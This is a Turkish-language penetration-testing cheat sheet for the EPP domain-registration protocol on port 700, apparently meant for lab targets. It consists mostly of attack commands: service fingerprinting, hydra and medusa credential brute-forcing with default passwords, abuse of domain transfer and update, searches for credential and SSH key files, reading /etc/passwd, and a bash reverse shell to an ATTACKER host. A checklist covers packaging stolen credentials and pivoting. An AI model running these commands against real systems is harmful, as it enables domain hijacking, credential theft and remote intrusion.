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700 - Pentesting EPP

EPP protocol

Extensible Provisioning Protocol alan adı kayıtçıları arasındadır. Zayıf auth domain object manipülasyonu demektir. Hedef lab IP’si üzerinde komutları 700 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 700/TCP (+TLS) doğrula.

  2. Greeting/login.

  3. Credential brute.

  4. Domain/host object komutları.

Terminal window
nmap -Pn -sV -p700 TARGET
Terminal window
openssl s_client -connect TARGET:700
Terminal window
nc -nv TARGET 700
login clID pw
Terminal window
python3 epp_client.py --host TARGET --user REG --pass PASS
Terminal window
hydra -L users.txt -P pass.txt TARGET epp
domain:info / domain:update / domain:transfer
Terminal window
python3 epp_info.py example.com

EPP için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p700 TARGET
Terminal window
nmap -Pn -p700 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:700' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',700));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → EPP
Terminal window
hydra -L users.txt -P rockyou.txt -s 700 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 700
Terminal window
nmap -p700 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit EPP
Terminal window
msfconsole -q -x 'search EPP; exit'
Terminal window
nuclei -u https://TARGET:700 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:700 -tags tech -silent || true
Terminal window
nc -nv TARGET 700
Terminal window
printf '
' | timeout 3 nc -nv TARGET 700
Terminal window
curl -vk --http1.0 http://TARGET:700/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
EPP login → domain:info → transfer/update abuse